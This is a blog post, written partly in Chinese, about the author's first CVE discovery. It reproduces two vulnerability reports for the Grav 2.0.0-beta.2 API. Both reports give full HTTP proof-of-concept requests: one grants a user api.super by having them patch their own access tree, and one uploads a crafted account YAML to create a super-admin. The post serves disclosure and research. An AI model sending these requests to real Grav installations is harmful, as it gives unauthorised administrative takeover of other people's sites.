Featured image of post CVE-2026-42844(我的第一个CVE挖掘)

CVE-2026-42844(我的第一个CVE挖掘)

CVE-2026-42844(我的第一个CVE挖掘)

首先是一时兴起想着用ai进行代码审计,然后觉得php可能漏洞会多(刻板印象),于是写了个php-code-auidt.skill,规范了挖掘过程和最后审计报告的提供。

目标(

image-20260507164550502

直接最新的release下下来,直接开始审计了,其实是审出两个漏洞了,但是一个给抢注了

详细细节参考https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h

然后另一个洞https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736

我的审计报告如下:

CVE-2026-42843

Summary

In Grav 2.0.0-beta.2, a normal authenticated API user with only api.access can update their own user object through PATCH /api/v1/users/{self} and set:

1
{"access":{"api":{"super":true}}}

The change takes effect immediately, allowing the user to become a full API super-admin.

High

Rationale:

  • authentication is required
  • the required privilege is low (api.access)
  • the impact is full administrative takeover

Affected Version

Verified locally on:

1
Grav 2.0.0-beta.2

Root Cause

The self-update path for /api/v1/users/{self} only requires api.access, but the writable field list still includes the access tree.

As a result, any normal API user can directly modify their own privileges and grant themselves api.super.

Relevant Code

  • user/plugins/api/classes/Api/Controllers/UsersController.php:195-220
  • user/plugins/api/classes/Api/Controllers/AbstractApiController.php:67-74

Prerequisites

An authenticated API user with:

1
2
3
access:
  api:
    access: true

No api.super permission is required.

Reproduction

Step 1: Authenticate as a normal API user

1
2
3
4
5
6
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"editor","password":"Editor123A"}

Expected result:

1
2
3
4
5
6
7
8
{
  "data": {
    "user": {
      "username": "editor",
      "super_admin": false
    }
  }
}

Extract:

1
EDITOR_TOKEN = <access_token from response>

Attachment:

login-editor.png

Step 2: Modify the current user’s own access tree

1
2
3
4
5
6
7
PATCH /api/v1/users/editor HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <EDITOR_TOKEN>
Content-Type: application/json
Connection: close

{"access":{"api":{"super":true}}}

Expected result:

The request succeeds and the response contains:

1
2
3
4
5
6
7
8
9
{
  "data": {
    "access": {
      "api": {
        "super": true
      }
    }
  }
}

Attachment:

patch-self-access.png

Step 3: Confirm that the user is now a super-admin

1
2
3
4
GET /api/v1/me HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <EDITOR_TOKEN>
Connection: close

Expected result:

1
2
3
4
5
6
{
  "data": {
    "username": "editor",
    "super_admin": true
  }
}

Attachment:

me-super-admin.png

Step 4: Access a privileged API endpoint

1
2
3
4
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <EDITOR_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

system-info-after-escalation.png

Actual Verified Result

I reproduced this issue locally.

  • the test user initially had super_admin = false
  • PATCH /api/v1/users/editor succeeded
  • /api/v1/me then returned super_admin = true
  • privileged endpoints such as /api/v1/system/info were accessible immediately

Security Impact

This vulnerability allows any authenticated API user with normal API access to become a full API super-admin.

CVE-2026-42844

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

High

Rationale:

  • authentication is required
  • the required privilege is low (api.media.write)
  • the impact is full administrative takeover

Affected Version

Verified locally on:

1
Grav 2.0.0-beta.2

Root Cause

The /api/v1/blueprint-upload endpoint accepts caller-controlled destination and scope values.

When the request uses:

  • destination=self@:
  • scope=users/anything

the server resolves the write target to the shared account directory:

1
user/accounts/

The endpoint then writes the uploaded file there without restricting YAML account files.

Because Grav accepts account YAML files and supports a plaintext password: value on first login, an attacker can create a fully functional administrator account.

Relevant Code

  • user/plugins/api/classes/Api/ApiRouter.php:261
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417
  • user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

Prerequisites

An authenticated API user with:

1
2
3
4
5
access:
  api:
    access: true
    media:
      write: true

Reproduction

Step 1: Authenticate as the low-privileged API user

1
2
3
4
5
6
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

1
UPLOADER_TOKEN = <access_token from response>

Attachment:

login-uploader.png

Step 2: Upload a malicious account YAML file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

1
2
3
4
5
6
7
8
{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

upload.png

Step 3: Log in as the newly created account

1
2
3
4
5
6
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

1
2
3
4
5
6
7
8
{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

pwned-login.png

Step 4: Verify privileged API access

1
2
3
4
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

system-info.png

Actual Verified Result

I reproduced this issue locally.

  • the upload response returned user/accounts/pwned.yaml
  • logging in as pwned succeeded
  • the new account had super_admin = true
  • privileged endpoints such as /api/v1/system/info were accessible

Security Impact

This vulnerability allows a low-privileged authenticated API user to escalate directly to full API administrative control by creating a new super-admin account.

使用 Hugo 构建
主题 StackJimmy 设计